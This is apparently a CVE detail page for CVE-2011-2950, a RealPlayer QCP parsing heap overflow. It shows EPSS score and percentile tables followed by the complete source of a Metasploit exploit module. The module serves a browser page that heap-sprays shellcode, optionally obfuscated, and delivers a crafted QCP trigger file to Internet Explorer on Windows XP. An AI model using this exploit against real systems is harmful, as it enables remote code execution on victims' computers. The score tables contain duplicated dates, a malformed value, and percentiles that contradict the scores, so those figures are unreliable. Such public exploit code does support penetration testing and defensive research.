CVE-2011-2950 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	70.13%	–	–
2023-03-12	–	–	–	94.44%	–
2023-03-19	–	–	–	95.07%	–
2023-05-21	–	–	–	94.45%	–
2023-07-16	–	–	–	94.22%	–
2023-09-10	–	–	–	94.08%	–
2023-11-05	–	–	–	94.86%	–
2023-12-31	–	–	–	94.72%	–
2024-02-18	–	–	–	94.75%	–
2024-04-07	–	–	–	93.96%	–
2024-06-02	–	–	–	94.41%	–
2024-12-08	–	–	–	93.95%	–
2024-12-22	–	–	–	95.57%	–
2025-01-19	–	–	–	95.69%	–
2025-03-02	–	–	–	95.98%	–
2025-01-19	–	–	–	95.69%	–
2025-03-09	–	–	–	95.98%	–
2025-03-18	–	–	–	–	71.55%
2025-03-18	–	–	–	–	71.55,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	99%
2023-03-19	99%
2023-05-21	99%
2023-07-16	99%
2023-09-10	99%
2023-11-05	99%
2023-12-31	99%
2024-02-18	99%
2024-04-07	99%
2024-06-02	99%
2024-12-08	99%
2024-12-22	1%
2025-01-19	1%
2025-03-02	1%
2025-01-19	1%
2025-03-09	1%
2025-03-18	99%
2025-03-18	99%

## # $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow", 'Description' => %q{ This module exploits a heap overflow in Realplayer when handling a .QCP file. The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is allocated on the heap and user-supplied data from the file is copied within a memory copy loop. This allows a remote attacker to execute arbitrary code running in the context of the web browser via a .QCP file with a specially crafted "fmt" chunk. At this moment this module exploits the flaw on Windows XP IE6, IE7. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13745 $", 'Author' => [ 'Sean de Regge', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2011-2950'], ['OSVDB', '74549'], ['BID', '49172'], # ZDI advisory ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'], # Vendor advisory ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'], #Fix commit ['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'], ], 'Payload' => { 'Space' => 1024 }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ], [ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ], ], 'DisclosureDate' => "Aug 16 2011", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(cli, request) #Default target my_target = target vprint_status("User-Agent: #{request.headers['User-Agent']}") if target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Windows XP + IE 6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Windows XP + IE 7.0 my_target = targets[2] elsif agent =~ /RMA/ #RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)" #when requesting our trigger file return 'RMA' else #If we don't recognize the client, we don't fire the exploit my_target = nil end end return my_target end def exploit #Set trigger file name @filename = rand_text_alpha(rand(6) + 3) #Create the trigger file @trigger = build_trigger super end def on_request_uri(cli, request) #Pick the right target vprint_status("Selecting target...") my_target = get_target(cli, request) if my_target.nil? print_error("Target not supported") send_not_found(cli) return end vprint_status("URL: #{request.uri.to_s}") #Send the trigger file upon request if request.uri.match(/\.qcp$/) print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}") send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' }) return end vprint_status("Building shellcode...") code = Rex::Text.to_unescape(payload.encoded) vprint_status("Building spray...") spray = build_spray(my_target, code) #obfuscate on demand vprint_status("Obfuscating javascript...") if datastore['OBFUSCATE'] spray = Rex::Exploitation::JSObfu.new(spray) spray.obfuscate end vprint_status("Building html...") #Value for the 'Src' parameter of our ActiveX control trigger_file = "" if ("/" == get_resource[-1,1]) trigger_file = get_resource[0, get_resource.length - 1] else trigger_file = get_resource end trigger_file << "/#{@filename}.qcp" html = <<-EOS <HTML> <HEAD> </HEAD> <BODY> <script language='javascript'> #{spray} </script> <OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240> <PARAM NAME="SRC" VALUE="#{trigger_file}"> <PARAM NAME="CONTROLS" VALUE="ImageWindow"> <PARAM NAME="CONSOLE" VALUE="one"> <PARAM NAME="AUTOSTART" VALUE="true"> <EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true> </OBJECT> </BODY> EOS print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...") send_response( cli, html, {'Content-Type' => 'text/html'} ) end def build_trigger() overflow_size = 700 overflow_string = "\x11" * 700 #riff_mark trigger = "\x52\x49\x46\x46" #total_size trigger << [0xed44 + overflow_size].pack("V") #qlcm_tag trigger << "\x51\x4c\x43\x4d" #fmt_tag trigger << "\x66\x6d\x74\x20" #fmt_size trigger << [0x96 + overflow_size].pack("V") #fmt_content trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90" trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00" trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20" trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45" trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20" trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65" trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f" trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65" trigger << "\x65\x63\x68\x20\x53\x65\x72\x76" trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69" trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00" trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00" trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02" trigger << "\x02\x01\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00" trigger << overflow_string #vrat_tag trigger << "\x76\x72\x61\x74" #vrat_size trigger << [0x8].pack("V") #vrat_content trigger << "\x01\x00\x00\x00\x06\x13\x00\x00" #data_tag trigger << "\x64\x61\x74\x61" #data_size trigger << [0xec8a].pack("V") #data_content trigger << rand_text_alpha(0xec8a) return trigger end def build_spray(mytarget, code) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{code}"); var nops = unescape("#{mytarget['Nops']}"); while (nops.length < 0x10000) nops += nops; offset = nops.substring(0, 0x7BE0); var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length); while (shellcode.length < 0x20000) shellcode += shellcode; block = shellcode.substring(0, (0x10000-6)/2); heap_obj.gc(); for (var i=0; i < 0x1400; i++) { heap_obj.alloc(block); } JS spray = heaplib(spray) return spray end end